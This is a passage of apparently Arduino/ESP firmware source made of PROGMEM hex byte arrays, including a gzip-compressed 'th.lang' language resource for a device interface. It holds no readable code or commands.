0xe5, 0xf6, 0x17, 0xe4, 0xa2, 0xdc, 0x85, 0x37, 0xae, 0x4c, 0xcb, 0xe1, 0xf8, 0x6e, 0x75, 0x63, 0x38, 0x16, 0x7d, 0x6a, 0x5d, 0xe6, 0x0c, 0x78, 0xa2, 0x5e, 0xe8, 0x77, 0x5c, 0x8b, 0x84, 0x43, 0x39, 0xdb, 0x28, 0x73, 0x51, 0x6c, 0xc8, 0xff, 0x6b, 0x0d, 0xd7, 0x08, 0x46, 0x38, 0xa4, 0x75, 0xa9, 0xf4, 0xbb, 0xce, 0xd1, 0x52, 0xaa, 0x40, 0xe0, 0xa9, 0xa6, 0x3a, 0xd5, 0x8d, 0xbe, 0xc2, 0x8a, 0xc7, 0x40, 0x41, 0x5d, 0xad, 0x2c, 0x81, 0x23, 0x81, 0x98, 0xf9, 0x18, 0xd5, 0xd8, 0x99, 0x2b, 0x02, 0xa3, 0x61, 0x8f, 0x21, 0xd1, 0xd1, 0x88, 0x9e, 0xa8, 0x5f, 0xef, 0xbf, 0xd5, 0x82, 0xe9, 0x6b, 0x2c, 0xba, 0x35, 0x2b, 0xaa, 0x7d, 0x23, 0x40, 0x26, 0xcd, 0xa7, 0xb6, 0x2b, 0x07, 0xac, 0x46, 0x02, 0x33, 0x5a, 0xba, 0x71, 0xec, 0x18, 0x85, 0x72, 0xf0, 0xa0, 0x35, 0x55, 0x1b, 0x17, 0x3c, 0x69, 0x8c, 0xee, 0xe0, 0x6b, 0xea, 0x85, 0xa1, 0x35, 0x8f, 0x64, 0xaf, 0x21, 0xdf, 0x04, 0x94, 0x00, 0x00, 0x3e, 0x39, 0x07, 0x2b, 0x86, 0x22, 0x1b, 0xf9, 0x67, 0x41, 0x0e, 0x70, 0x96, 0xfe, 0xa7, 0xb2, 0x23, 0x7b, 0x73, 0xdb, 0xe3, 0xfe, 0x4a, 0xe1, 0xd5, 0x52, 0x7a, 0x12, 0x17, 0x24, 0xd8, 0xe1, 0x57, 0x46, 0x63, 0xef, 0x43, 0x68, 0x74, 0x78, 0x1e, 0xfc, 0xca, 0x1c, 0xb2, 0xad, 0x27, 0x04, 0x8f, 0x2c, 0xa4, 0xe9, 0x8c, 0x4c, 0x06, 0x50, 0x18, 0x30, 0x2d, 0x5e, 0xfe, 0xf4, 0x19, 0xfc, 0x07, 0xed, 0xe1, 0x0b, 0x13, 0xf9, 0x85, 0x97, 0x5e, 0x79, 0xb7, 0xb1, 0xd4, 0x89, 0x09, 0x3b, 0x43, 0xef, 0xc4, 0x94, 0x89, 0x0a, 0x88, 0x5b, 0x97, 0x8c, 0x95, 0x98, 0x15, 0xd0, 0xeb, 0xc8, 0x6c, 0xd8, 0x44, 0x7b, 0xb0, 0x80, 0xd7, 0x84, 0xa0, 0xe2, 0x8d, 0xa9, 0x80, 0x21, 0x0a, 0xd4, 0x94, 0x9b, 0x6e, 0xfb, 0x2f, 0xd6, 0xbe, 0x90, 0x94, 0x1d, 0x44, 0x8c, 0x40, 0x66, 0xe4, 0x93, 0x5f, 0xef, 0xcf, 0xd9, 0x00, 0x92, 0xdb, 0x58, 0xea, 0x57, 0x51, 0x70, 0xb7, 0x36, 0x6f, 0xa5, 0x19, 0x38, 0xc4, 0xd4, 0xa2, 0x31, 0x07, 0x06, 0x3e, 0x76, 0xcf, 0xa3, 0x1d, 0x85, 0xc6, 0x45, 0x3d, 0x8a, 0x43, 0x9a, 0x5a, 0xf2, 0x5b, 0x83, 0x4f, 0x4f, 0x8d, 0xee, 0xda, 0x6b, 0xf1, 0xe4, 0x12, 0x6d, 0xc1, 0x00, 0x6c, 0x50, 0xf3, 0x59, 0xd9, 0x1e, 0x67, 0x76, 0x05, 0x4c, 0x23, 0xe2, 0x27, 0x11, 0x79, 0xb1, 0x37, 0x31, 0x45, 0x02, 0x7a, 0x3d, 0x15, 0xa4, 0x0e, 0xd2, 0x94, 0x9d, 0x2f, 0x52, 0x4b, 0xe1, 0x90, 0x37, 0x24, 0xbb, 0xe5, 0x38, 0x4d, 0x10, 0x77, 0xe4, 0xa5, 0x63, 0x9e, 0x49, 0x22, 0xb9, 0x25, 0x03, 0xb0, 0x27, 0xe3, 0xb3, 0xe6, 0x3c, 0x0d, 0x06, 0xc3, 0x8e, 0xf2, 0x0f, 0xd4, 0xc9, 0x21, 0x66, 0x5d, 0x74, 0x34, 0x24, 0x20, 0xb0, 0xe3, 0x1c, 0x64, 0x4a, 0xb8, 0x8b, 0x2c, 0x32, 0x1a, 0x48, 0xd3, 0xdc, 0x8d, 0x11, 0x8b, 0xac, 0x13, 0xc3, 0xf9, 0xce, 0xac, 0x8a, 0x61, 0x43, 0x47, 0x81, 0xc0, 0x10, 0x68, 0x48, 0xd2, 0xd9, 0x6c, 0x2e, 0xe9, 0xed, 0xfd, 0x15, 0x86, 0x0e, 0xaa, 0x7f, 0xea, 0x91, 0x1d, 0xb7, 0xbb, 0x56, 0xbf, 0xf3, 0x14, 0xd1, 0x0a, 0xa5, 0xd8, 0xa2, 0x59, 0x46, 0xf4, 0x2f, 0x5c, 0xb2, 0x62, 0x54, 0x80, 0xa5, 0x69, 0x72, 0x77, 0x91, 0x7e, 0x89, 0xae, 0x0b, 0x54, 0x86, 0x26, 0xf3, 0x0c, 0xc5, 0xa1, 0xbd, 0xc4, 0xf8, 0xd3, 0x48, 0x5b, 0x39, 0xc3, 0x18, 0xfd, 0x4a, 0x7d, 0xa2, 0x4e, 0x17, 0x18, 0xa9, 0x17, 0xaf, 0x86, 0x35, 0xa3, 0xc7, 0xe9, 0xa6, 0xbc, 0x32, 0x5e, 0x78, 0x0b, 0xb3, 0x2f, 0xfd, 0x7a, 0xcd, 0xe0, 0x0b, 0xdc, 0x49, 0x2d, 0x3b, 0x75, 0x84, 0x95, 0xf7, 0x2c, 0xe5, 0x95, 0x49, 0xe9, 0x97, 0xee, 0x23, 0x3a, 0x72, 0x1b, 0xfb, 0x00, 0x4d, 0x50, 0x09, 0xfc, 0xc0, 0xd4, 0x74, 0x75, 0x19, 0xa8, 0x88, 0x2a, 0xee, 0xdd, 0x7a, 0x85, 0xd2, 0x6e, 0x75, 0x9a, 0xbe, 0xc9, 0x6c, 0xa3, 0x61, 0xb3, 0xf5, 0xb9, 0xdf, 0xef, 0xbc, 0x80, 0xde, 0x74, 0xfd, 0xe1, 0x77, 0x64, 0xed, 0x25, 0x8d, 0xbe, 0xe3, 0x1d, 0xc2, 0xc3, 0xe5, 0xe2, 0xd1, 0x2b, 0x42, 0x04, 0x2e, 0x89, 0x09, 0xec, 0xe4, 0x55, 0x9a, 0x72, 0x03, 0x71, 0xb1, 0x43, 0x33, 0x40, 0xce, 0xcf, 0x53, 0xe3, 0xa4, 0x0a, 0xe9, 0xb7, 0x3a, 0x41, 0x65, 0x06, 0x3d, 0x2d, 0xcc, 0x94, 0xbd, 0xe5, 0xb8, 0x41, 0xf3, 0x8c, 0x6e, 0xea, 0x8d, 0x65, 0x2c, 0x19, 0x0d, 0xef, 0x25, 0x55, 0x5f, 0x84, 0x4c, 0x8c, 0x31, 0xc3, 0x9c, 0xd7, 0x37, 0xb4, 0xbb, 0xf4, 0x7b, 0x22, 0x0c, 0xe9, 0x6b, 0x78, 0x94, 0x9e, 0xb4, 0x3b, 0x64, 0xe4, 0x22, 0x0a, 0x39, 0xa2, 0xa5, 0x04, 0xe8, 0x8c, 0xbf, 0x18, 0xc2, 0x28, 0xa3, 0x2b, 0x4c, 0x64, 0xbb, 0x82, 0xd0, 0x06, 0x12, 0xce, 0xee, 0x50, 0x05, 0x61, 0x09, 0xb7, 0x4f, 0x9e, 0x1d, 0x1d, 0xfd, 0x61, 0xc6, 0x05, 0xe1, 0x89, 0x08, 0x98, 0x44, 0xbb, 0x7c, 0x4b, 0xdb, 0x92, 0xa6, 0x69, 0xaa, 0xe6, 0xe1, 0x96, 0x41, 0x00, 0xf6, 0x08, 0x26, 0xa4, 0xce, 0x33, 0xa2, 0x0a, 0xbd, 0xb6, 0xa6, 0x6f, 0x0c, 0x2b, 0x10, 0xc2, 0xc2, 0x3f, 0x52, 0x27, 0x3d, 0xc6, 0x0e, 0x26, 0xa5, 0x44, 0x97, 0x25, 0x09, 0xce, 0x40, 0xc3, 0x9c, 0x33, 0x1b, 0x66, 0x5e, 0x70, 0xb9, 0x5e, 0x11, 0xb9, 0x42, 0x4f, 0xc7, 0x4f, 0x8c, 0x48, 0xd4, 0x1d, 0x2c, 0xba, 0x62, 0x24, 0xf2, 0x93, 0xc0, 0x71, 0x00, 0xa9, 0x19, 0x62, 0x1f, 0xb9, 0xe5, 0xe1, 0x5f, 0x03, 0x9c, 0xa9, 0x32, 0x41, 0x11, 0xfa, 0x96, 0x45, 0xdc, 0x91, 0x5b, 0x52, 0x93, 0x13, 0x4f, 0x5a, 0x21, 0x08, 0xc2, 0x7f, 0xe8, 0x85, 0xa1, 0xeb, 0x31, 0x4b, 0x71, 0xd3, 0xee, 0x9a, 0xa1, 0x61, 0xc5, 0x70, 0xd8, 0xa7, 0xca, 0xb7, 0x23, 0x44, 0x1b, 0xb0, 0x92, 0x4c, 0x4a, 0x31, 0xe8, 0xe9, 0x64, 0xc3, 0x74, 0x80, 0x13, 0x38, 0xe5, 0xc1, 0x5c, 0x2d, 0x72, 0xee, 0x90, 0xc7, 0x6d, 0xdd, 0x25, 0xed, 0x1f, 0x08, 0x24, 0x2b, 0x29, 0x52, 0x4c, 0x82, 0xa4, 0x05, 0xa0, 0x2d, 0x65, 0xf6, 0xaa, 0x6a, 0x0c, 0x5c, 0x3d, 0xf3, 0xe4, 0x39, 0x9c, 0xb2, 0xa6, 0x4f, 0x18, 0x9a, 0x48, 0x0a, 0x06, 0x3d, 0xd9, 0xba, 0xf6, 0x15, 0x4d, 0x4c, 0x62, 0x73, 0xa9, 0x56, 0xfa, 0xc6, 0x4b, 0xd7, 0x62, 0x03, 0x1b, 0x02, 0xf9, 0xc1, 0x3e, 0xc8, 0x05, 0x79, 0xb0, 0x09, 0x2e, 0x53, 0x0b, 0x60, 0x03, 0x39, 0xf1, 0xa9, 0x81, 0x65, 0x62, 0xb2, 0x3f, 0x9d, 0xc5, 0x78, 0x62, 0x91, 0x35, 0xd9, 0x1e, 0x2d, 0xa7, 0x1b, 0x6d, 0x0c, 0xb4, 0x33, 0xa1, 0xb2, 0x4c, 0xa9, 0x22, 0xd1, 0x39, 0xe2, 0xa4, 0x94, 0x78, 0xc0, 0x48, 0xed, 0x10, 0xb9, 0x82, 0xf2, 0xed, 0x4d, 0xa6, 0xca, 0x94, 0x8d, 0xa9, 0x33, 0xb1, 0x4c, 0xea, 0x0e, 0x1d, 0x38, 0x82, 0x6c, 0x7e, 0x88, 0x17, 0x8b, 0x1f, 0x90, 0x26, 0x87, 0x52, 0x96, 0x79, 0x47, 0xf2, 0x2e, 0x29, 0x28, 0xce, 0x19, 0x5c, 0x41, 0x8a, 0xcb, 0x34, 0x36, 0x60, 0x85, 0xb8, 0xcd, 0x56, 0xe4, 0x02, 0x82, 0xab, 0xcc, 0xa8, 0x36, 0x06, 0x8b, 0x91, 0x28, 0x44, 0xa6, 0xf0, 0x54, 0x13, 0xd7, 0x2b, 0xcd, 0x44, 0x23, 0x88, 0x6a, 0x3b, 0xb1, 0xca, 0x57, 0x98, 0x09, 0xa8, 0xec, 0xe7, 0xe3, 0xfe, 0x76, 0x49, 0x29, 0x6c, 0x85, 0xe8, 0xa4, 0x69, 0x93, 0x64, 0xf0, 0x5d, 0xd4, 0xdc, 0x8c, 0x95, 0x34, 0x37, 0x98, 0x4d, 0x51, 0x44, 0x9b, 0x67, 0xf3, 0x23, 0xa9, 0x7c, 0x6c, 0x70, 0xd3, 0xd1, 0x9f, 0xb8, 0xfd, 0x99, 0xca, 0x9e, 0xa7, 0x07, 0xf4, 0x91, 0xbe, 0x8f, 0x11, 0x43, 0xe2, 0x3a, 0x07, 0x17, 0x29, 0x2d, 0x46, 0xc6, 0x35, 0x39, 0xd1, 0x4c, 0xf7, 0xa6, 0xd1, 0xec, 0x40, 0x25, 0xfe, 0xc3, 0x9c, 0xf8, 0xf8, 0x7c, 0x48, 0xd0, 0x34, 0x8e, 0xed, 0x4c, 0x93, 0x8f, 0x11, 0xa9, 0x8c, 0xd0, 0xa5, 0xff, 0x78, 0xce, 0x07, 0x18, 0xa0, 0xc1, 0x7a, 0xfb, 0x13, 0x69, 0xbe, 0x32, 0xcc, 0xc6, 0x03, 0x4a, 0x4a, 0xe8, 0x32, 0xea, 0xf5, 0x29, 0xca, 0xec, 0xd3, 0xa7, 0x34, 0x8b, 0xc1, 0x45, 0x3c, 0x8b, 0x4d, 0xb4, 0x40, 0xa5, 0xc6, 0x5b, 0x1f, 0xca, 0xc4, 0xad, 0x10, 0xb0, 0x68, 0xb6, 0x3f, 0xe9, 0x5d, 0x7d, 0xf4, 0x43, 0x7d, 0xfe, 0x07, 0x5d, 0xbe, 0xf8, 0xb0, 0x2e, 0xbb, 0x44, 0xac, 0x4f, 0x9a, 0xd2, 0xac, 0x2d, 0x73, 0x75, 0xa1, 0xf7, 0x23, 0x2f, 0xe5, 0xd1, 0xcc, 0x4f, 0x25, 0x5d, 0xdb, 0xb2, 0x34, 0x1c, 0xd6, 0xef, 0x8a, 0xce, 0x49, 0x37, 0xfb, 0xef, 0xbd, 0x3b, 0x55, 0x4e, 0x37, 0x28, 0x22, 0x03, 0x94, 0x6d, 0x85, 0xc0, 0x8c, 0xbb, 0x6b, 0xc3, 0x77, 0x61, 0x58, 0x37, 0x19, 0xfa, 0xb0, 0xe5, 0x07, 0x65, 0x62, 0xb9, 0xcf, 0x74, 0x6c, 0x2c, 0xae, 0x1f, 0xfe, 0x68, 0x01, 0xb0, 0x99, 0xcf, 0xd5, 0x90, 0x63, 0x94, 0x29, 0xb3, 0x31, 0x54, 0x4c, 0xaa, 0xfb, 0x6e, 0x77, 0x36, 0xdb, 0xbf, 0x59, 0xa6, 0x8f, 0x7b, 0x08, 0x58, 0xaf, 0xf8, 0x5e, 0x05, 0x90, 0xd2, 0x15, 0x54, 0xa4, 0xe1, 0xad, 0xa6, 0x2e, 0x38, 0x91, 0x4e, 0x9a, 0x38, 0x7d, 0x37, 0xb1, 0x64, 0xec, 0x5f, 0xa1, 0xa6, 0x20, 0xe3, 0x3c, 0x4c, 0xed, 0x7d, 0xf7, 0x35, 0x14, 0xf3, 0x5d, 0x3b, 0xa2, 0xb6, 0xd8, 0x31, 0xef, 0xa6, 0x28, 0x33, 0x19, 0x54, 0x64, 0x68, 0xec, 0x45, 0x65, 0xca, 0xc6, 0x08, 0xc5, 0x54, 0x0b, 0x9b, 0x22, 0xbd, 0xec, 0x46, 0xcf, 0xd3, 0xb1, 0x47, 0x39, 0x8c, 0x35, 0x3c, 0xa8, 0xb4, 0xb2, 0xd1, 0x8e, 0x4e, 0xb3, 0xc1, 0x7d, 0xc1, 0xf1, 0xde, 0x47, 0x3b, 0x05, 0xcb, 0x93, 0xe2, 0x6f, 0x5a, 0x28, 0x8f, 0xe7, 0x74, 0x1a, 0xb9, 0x94, 0xc6, 0x55, 0x01, 0x6d, 0x51, 0x39, 0xb5, 0xe7, 0xc1, 0x83, 0x55, 0x0a, 0x4e, 0x3f, 0xda, 0x23, 0x74, 0x81, 0x89, 0x61, 0x57, 0x70, 0x3e, 0x77, 0x22, 0x22, 0x43, 0x05, 0x88, 0x36, 0x14, 0xf5, 0x0d, 0x4b, 0xe6, 0x73, 0x38, 0x06, 0xa7, 0xb4, 0xe9, 0x44, 0x24, 0x52, 0xf9, 0x37, 0x95, 0xa4, 0xa6, 0xb9, 0xbb, 0x78, 0xd9, 0xd8, 0xf5, 0x3a, 0x4e, 0x5e, 0x59, 0x9e, 0x9f, 0x3d, 0x7f, 0xbe, 0x94, 0x74, 0xa0, 0x43, 0x08, 0xf1, 0x3c, 0xe6, 0xa8, 0x6b, 0xce, 0xb4, 0x07, 0x52, 0x9c, 0x9c, 0x11, 0x8c, 0xb7, 0x44, 0x1b, 0x90, 0xc1, 0x85, 0x78, 0xf6, 0xe3, 0x57, 0x5f, 0x7f, 0xb5, 0x93, 0xfb, 0x95, 0x7e, 0x5b, 0x5c, 0x0f, 0xa5, 0x8e, 0x24, 0x7b, 0x6b, 0xab, 0x21, 0x03, 0x13, 0x2d, 0x26, 0x54, 0x59, 0xbc, 0x79, 0xa3, 0xfe, 0xa8, 0x9e, 0x3e, 0x9d, 0xa9, 0x05, 0xff, 0xf8, 0x74, 0xa6, 0xbe, 0xd1, 0x0d, 0x89, 0xc6, 0xc5, 0xef, 0x77, 0xa5, 0x16, 0xc7, 0xe7, 0x72, 0x68, 0x13, 0xf2, 0xe4, 0xf4, 0xe7, 0xe3, 0x93, 0x5d, 0x1c, 0xcb, 0xd3, 0xea, 0xf1, 0x39, 0x36, 0x00, 0x65, 0x2f, 0xa7, 0xab, 0x83, 0x21, 0xc8, 0xd7, 0xef, 0x78, 0x86, 0x81, 0x2d, 0x74, 0x8f, 0x5d, 0x88, 0x26, 0xd9, 0x1f, 0x01, 0x26, 0xb6, 0x3a, 0x88, 0x92, 0xde, 0x33, 0x14, 0xfb, 0x03, 0xcd, 0x96, 0xed, 0x7f, 0xae, 0x59, 0x7f, 0x0e, 0xf0, 0x7f, 0x53, 0x70, 0x38, 0x59, 0xf8, 0xa0, 0x9e, 0xc5, 0xf5, 0x07, 0xcf, 0x97, 0xba, 0x5a, 0xc6, 0xb7, 0x7c, 0xc4, 0x6c, 0x65, 0xd6, 0xa3, 0xe2, 0x8b, 0x1d, 0x31, 0xc1, 0xcd, 0x03, 0xa0, 0x00, 0x06, 0x72, 0x9f, 0x8c, 0xfc, 0x19, 0x00, 0xcb, 0x8d, 0xe4, 0xb4, 0x0c, 0x81, 0x3c, 0x0a, 0xff, 0x36, 0x44, 0x62, 0x14, 0x11, 0xaa, 0x1c, 0xc7, 0x4d, 0xba, 0xda, 0xbe, 0xaf, 0x29, 0x5b, 0xf8, 0x70, 0xfd, 0xe1, 0x74, 0xbf, 0xb6, 0xc9, 0xd2, 0x3d, 0xe7, 0x2c, 0x32, 0xa6, 0xd0, 0xc9, 0xce, 0x88, 0xb5, 0x50, 0x8e, 0x42, 0xeb, 0x9e, 0x95, 0x4f, 0x81, 0x93, 0x0f, 0x0c, 0xda, 0x01, 0x9d, 0x4e, 0xc7, 0x67, 0x0c, 0x70, 0x32, 0x26, 0x8f, 0x84, 0x9f, 0x8f, 0x47, 0x88, 0xf5, 0xf1, 0x88, 0xb5, 0xb3, 0xc9, 0x79, 0xd2, 0x65, 0x4c, 0xd5, 0x34, 0x8c, 0xf0, 0x64, 0x89, 0x00, 0x9f, 0xec, 0x02, 0x8f, 0x68, 0x39, 0xc6, 0x2d, 0xb7, 0x13, 0xa6, 0xb5, 0x0f, 0x85, 0x69, 0x68, 0xba, 0x92, 0x53, 0xb1, 0x13, 0xd6, 0x23, 0xd2, 0x38, 0xdd, 0x6a, 0xe9, 0x07, 0x14, 0xb8, 0x7a, 0xb3, 0x7d, 0x9f, 0xe3, 0x96, 0x26, 0xd8, 0xc9, 0x7e, 0x92, 0x0b, 0xd4, 0x05, 0x82, 0x90, 0x00, 0xed, 0x5a, 0x8e, 0x14, 0x6b, 0x1c, 0xe9, 0x1b, 0xc5, 0x4a, 0x4e, 0x75, 0x68, 0x40, 0x94, 0xe3, 0xe5, 0xc9, 0xe9, 0x41, 0x3f, 0x16, 0x0b, 0x91, 0xdb, 0xde, 0x07, 0x7a, 0xa7, 0xe8, 0x1a, 0x22, 0xcc, 0xd8, 0xa9, 0xa3, 0x85, 0x9e, 0x3f, 0x18, 0xe8, 0x71, 0x7f, 0xa2, 0xe8, 0xc8, 0xe0, 0x24, 0x47, 0x39, 0xe9, 0x50, 0x6e, 0xd4, 0xd0, 0xa0, 0xd5, 0x5d, 0x3a, 0xb2, 0x76, 0x86, 0x7c, 0x2c, 0x1f, 0x09, 0xc8, 0x45, 0xe9, 0x1c, 0x3b, 0xf1, 0x5f, 0x86, 0x5c, 0xcc, 0x1e, 0xbd, 0x15, 0x0c, 0x24, 0x50, 0xe9, 0xd9, 0x67, 0x9f, 0x4d, 0xc1, 0x56, 0x28, 0x25, 0x9d, 0x05, 0xca, 0x79, 0xe2, 0xd8, 0x71, 0x1f, 0xcc, 0xa3, 0x3b, 0xbe, 0x19, 0x61, 0x76, 0xba, 0x31, 0xcc, 0xda, 0x99, 0x4a, 0x30, 0x46, 0x0b, 0x85, 0x9a, 0xef, 0xd9, 0xf4, 0x15, 0xc6, 0x55, 0x19, 0x34, 0x17, 0xc3, 0x58, 0x48, 0xe9, 0x2b, 0xdf, 0xcf, 0x52, 0x92, 0x70, 0xbc, 0xd8, 0x4f, 0x63, 0xe6, 0xca, 0x74, 0xef, 0x22, 0x11, 0xe2, 0x8b, 0x03, 0xd9, 0xcf, 0x62, 0xca, 0x2e, 0xa4, 0xf0, 0xc6, 0x4e, 0x13, 0xfd, 0xb1, 0xb1, 0xf4, 0x87, 0x1f, 0x91, 0xa7, 0x53, 0xce, 0x8c, 0x8e, 0x81, 0x1c, 0xec, 0x87, 0xfc, 0xa9, 0xae, 0x42, 0xa4, 0x46, 0x73, 0xd8, 0xd2, 0x0a, 0xad, 0x91, 0x2c, 0x9c, 0x25, 0x1d, 0x2d, 0xe1, 0x4e, 0x3d, 0xea, 0x0c, 0x49, 0x51, 0xe4, 0x00, 0x06, 0x60, 0x0c, 0x76, 0x8c, 0x0d, 0x3d, 0x53, 0x4c, 0x45, 0x48, 0x47, 0xd3, 0x37, 0xa6, 0xe8, 0x8a, 0xcc, 0xdd, 0x91, 0x2f, 0xfb, 0x4e, 0xb5, 0xf6, 0xa9, 0x74, 0x36, 0x3a, 0x39, 0x7e, 0xd1, 0x63, 0x05, 0xef, 0x2d, 0x6f, 0x45, 0x31, 0x6c, 0x14, 0x95, 0x42, 0x28, 0x0c, 0x17, 0xe3, 0x5c, 0x8d, 0x8e, 0x36, 0x38, 0x1d, 0xdd, 0xe8, 0xcc, 0x41, 0x5c, 0x02, 0x85, 0x9e, 0x1e, 0x1d, 0xa9, 0x8a, 0xe8, 0xfd, 0x9b, 0xf1, 0x91, 0x84, 0xa4, 0x20, 0x12, 0x86, 0x0a, 0xe3, 0xaa, 0x96, 0x8f, 0x70, 0x95, 0xbe, 0x93, 0x2f, 0x2d, 0x3a, 0x93, 0xd6, 0x3b, 0xea, 0xd0, 0x44, 0x7a, 0x62, 0x43, 0x9f, 0xcd, 0xfc, 0xe1, 0xee, 0xe1, 0x1a, 0xe8, 0x04, 0x61, 0x57, 0xe3, 0x4b, 0xa6, 0x8c, 0x48, 0x5f, 0x23, 0xd4, 0x93, 0x37, 0x48, 0x08, 0x32, 0x1c, 0x51, 0xbb, 0x31, 0x61, 0xcb, 0x3c, 0xcc, 0x48, 0x62, 0x08, 0x65, 0x78, 0x00, 0x6e, 0x53, 0xcf, 0xc9, 0x59, 0xcd, 0xeb, 0xbf, 0xed, 0x76, 0xe6, 0xc6, 0xb7, 0xf2, 0x99, 0x91, 0xe6, 0x3e, 0x2c, 0x8a, 0x95, 0x8d, 0xe9, 0x9c, 0x33, 0x9f, 0xca, 0xf4, 0x5d, 0xb8, 0xc7, 0x8f, 0x11, 0xdf, 0x1c, 0x40, 0x37, 0x45, 0x2c, 0x8e, 0x8f, 0x86, 0xa7, 0xec, 0x82, 0xee, 0xc5, 0x73, 0x13, 0x48, 0xe1, 0xd4, 0xec, 0xdb, 0x0c, 0x1d, 0x43, 0xc5, 0xed, 0x21, 0xb3, 0x7b, 0x8a, 0x6b, 0xa0, 0xc3, 0xfd, 0xd8, 0x91, 0x3e, 0x72, 0x9f, 0x95, 0x16, 0x88, 0x3a, 0x61, 0x0a, 0xfb, 0x06, 0x7c, 0x06, 0x8a, 0xef, 0xf3, 0x67, 0xd4, 0x84, 0x38, 0x69, 0xa8, 0x61, 0xc2, 0x63, 0x45, 0x0e, 0x2a, 0x85, 0x82, 0x00, 0x71, 0xd0, 0x81, 0x31, 0xfa, 0xd1, 0xc1, 0x47, 0xff, 0xf8, 0x37, 0xbc, 0xbd, 0xf5, 0x06, 0x57, 0x1f, 0x00, 0x00};\nconst char thlang[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb5, 0x3c, 0x14, 0x60, 0x02, 0xff, 0x74, 0x68, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x00, 0xe5, 0x5b, 0x51, 0x6f, 0x1b, 0xc7, 0x11, 0x7e, 0x4e, 0x7e, 0xc5, 0x5a, 0x4f, 0x31, 0x60, 0xab, 0x92, 0xdd, 0x04, 0x6e, 0x80, 0x3e, 0x38, 0xb5, 0x52, 0xb8, 0x69, 0x52, 0xc1, 0x72, 0x90, 0x3e, 0x04, 0x10, 0x4e, 0xe2, 0x29, 0x66, 0x2b, 0x91, 0x02, 0x49, 0x4b, 0x29, 0xfa, 0x22, 0x52, 0x42, 0x48, 0x4b, 0x4e, 0x51, 0xc0, 0xa4, 0xd4, 0xa3, 0x02, 0x25, 0x94, 0x40, 0x28, 0xa1, 0x40, 0x20, 0x92, 0xed, 0xf8, 0xf8, 0x6f, 0xf8, 0x53, 0x7a, 0x3b, 0xb3, 0xb3, 0x3b, 0x7b, 0xbb, 0x47, 0x9e, 0x9a, 0x3c, 0x14, 0x6d, 0x60, 0x20, 0xd4, 0x71, 0x6f, 0x77, 0x76, 0x66, 0x76, 0xe6, 0x9b, 0x6f, 0x96, 0x42, 0xbc, 0xfd, 0xf7, 0xb7, 0x45, 0xf2, 0xdf, 0xcc, 0x7a, 0x50, 0xfa, 0x62, 0xe6, 0x7d, 0x31, 0x53, 0x7b, 0x32, 0x73, 0x0b, 0x9f, 0x6c, 0x07, 0x95, 0x52, 0x11, 0x1f, 0x8e, 0xe3, 0xbd, 0x71, 0xfc, 0x72, 0x3c, 0xda, 0x19, 0xc7, 0x9d, 0x71, 0xfc, 0x66, 0x1c, 0x0f, 0xc7, 0x71, 0x44, 0xe3, 0x0a, 0xc5, 0xea, 0xea, 0x7a, 0x50, 0xdc, 0x08, 0x2b, 0x30, 0x74, 0xd4, 0x80, 0xd1, 0x67, 0xe3, 0xb8, 0x39, 0x8e, 0xeb, 0xe3, 0xf8, 0x0a, 0x3e, 0x47, 0xe3, 0xf8, 0xf5, 0x78, 0xf4, 0x0c, 0xa6, 0x38, 0x1e, 0x8f, 0x9a, 0xf0, 0xe4, 0x62, 0x1c, 0xf7, 0xc7, 0xf1, 0x25, 0x0c, 0xfb, 0x27, 0x8c, 0x4c, 0x1e, 0x36, 0x60, 0xf6, 0xe6, 0x78, 0x54, 0x87, 0x3f, 0xcf, 0x61, 0xb6, 0x57, 0xe3, 0xb8, 0x3d, 0x8e, 0x07, 0x52, 0x08, 0xf9, 0xd6, 0x19, 0xbc, 0xd5, 0x65, 0xf3, 0x1f, 0xd1, 0x80, 0xa1, 0x7c, 0x2e, 0xdf, 0x4d, 0x66, 0xfe, 0x11, 0x96, 0x3b, 0x91, 0x12, 0x8f, 0x5a, 0xf0, 0x95, 0x1e, 0xff, 0xfd, 0x38, 0xfe, 0x09, 0xfe, 0xfc, 0x21, 0x79, 0x22, 0x3e, 0x2f, 0x09, 0x98, 0xe2, 0x52, 0x8a, 0x18, 0x37, 0xc5, 0xc2, 0xd2, 0xe2, 0xbd, 0x3b, 0xef, 0xbd, 0x27, 0xf4, 0x44, 0x62, 0xe9, 0xc1, 0x47, 0xc9, 0x5f, 0x89, 0x24, 0x3d, 0x39, 0x95, 0xfc, 0xd0, 0x86, 0xb1, 0x87, 0xe3, 0x78, 0x04, 0xf3, 0x0c, 0xe4, 0xb4, 0xf2, 0xc9, 0x15, 0x6c, 0xbc, 0x21, 0xe7, 0x97, 0x7f, 0x46, 0x24, 0x30, 0x6a, 0xad, 0x27, 0xf5, 0x20, 0x37, 0x75, 0x09, 0xaa, 0x4c, 0x5e, 0x8f, 0xa5, 0x42, 0xe4, 0x80, 0x1f, 0x61, 0x92, 0xa6, 0xdc, 0xef, 0xe8, 0xb9, 0x23, 0x79, 0x8e, 0x57, 0xa4, 0x06, 0x2e, 0x49, 0xed, 0x7d, 0x78, 0x31, 0x11, 0xe6, 0x5c, 0x48, 0x69, 0xa4, 0x28, 0x43, 0x52, 0xd9, 0x09, 0xc8, 0xda, 0x52, 0x8a, 0x96, 0x53, 0x5c, 0x81, 0x64, 0xa8, 0x9a, 0x43, 0x58, 0xbb, 0x4e, 0x4a, 0x67, 0x3b, 0xa1, 0x6d, 0xdf, 0x48, 0x14, 0x26, 0x55, 0x36, 0xda, 0x1d, 0xc7, 0xfb, 0xf0, 0x5d, 0x5d, 0x19, 0x44, 0xbe, 0xb9, 0xc7, 0xb6, 0xdb, 0x20, 0x29, 0x4e, 0x8d, 0x4d, 0xe4, 0x73, 0xdc, 0x41, 0x1d, 0x46, 0xbe, 0x00, 0xd9, 0xc9, 0xec, 0xf2, 0xf5, 0x18, 0x1e, 0xee, 0x48, 0x93, 0xa8, 0xd7, 0x23, 0xb2, 0x4d, 0xe4, 0xac, 0x2d, 0xc7, 0x7d, 0x0b, 0x13, 0xf5, 0xc4, 0x67, 0xc5, 0xdb, 0x1f, 0x16, 0xd1, 0x94, 0xaf, 0xe1, 0x55, 0x6d, 0x9e, 0x0e, 0x69, 0x20, 0x59, 0xe1, 0x00, 0x76, 0xd4, 0x82, 0xcf, 0xc9, 0x93, 0x7f, 0xc1, 0x4e, 0xbb, 0x24, 0xe6, 0x9e, 0xd4, 0xb5, 0x9c, 0x77, 0x17, 0x96, 0x45, 0xb5, 0x74, 0x60, 0x01, 0xe5, 0xa3, 0xe2, 0xe1, 0xc2, 0xc2, 0x82, 0xb8, 0x37, 0x77, 0x67, 